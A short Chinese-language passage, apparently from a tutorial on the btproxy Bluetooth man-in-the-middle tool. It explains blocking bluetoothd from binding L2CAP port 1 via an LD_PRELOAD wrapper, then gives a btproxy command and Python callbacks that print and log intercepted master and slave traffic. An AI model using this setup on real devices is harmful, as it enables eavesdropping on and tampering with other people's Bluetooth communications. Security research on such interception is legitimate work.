这个程序首先杀死bluetoothd进程,然后重新运行LD_PRELOAD,其指向绑定系统调用的wrapper,目的是阻止bluetoothd绑定到L2CAP port 1 (SDP)。所有的SDP流量都会通过L2CAP port 1,所以这个使两个设备之间中间人行为和转发容易操作,并且我们再也不用担心那些伪造的广播了。
# This will connect to the slave 40:14:33:66:CC:FF device and # wait for a connection from the master F1:64:F3:31:67:88 device btproxy F1:64:F3:31:67:88 40:14:33:66:CC:FF
# replace.py def master_cb(req): """ Received something from master, about to be sent to slave. """ print '<< ', repr(req) open('mastermessages.log', 'a+b').write(req) return req
def slave_cb(res): """ Same as above but it's from slave about to be sent to master """ print '>> ', repr(res) open('slavemessages.log', 'a+b').write(res) return res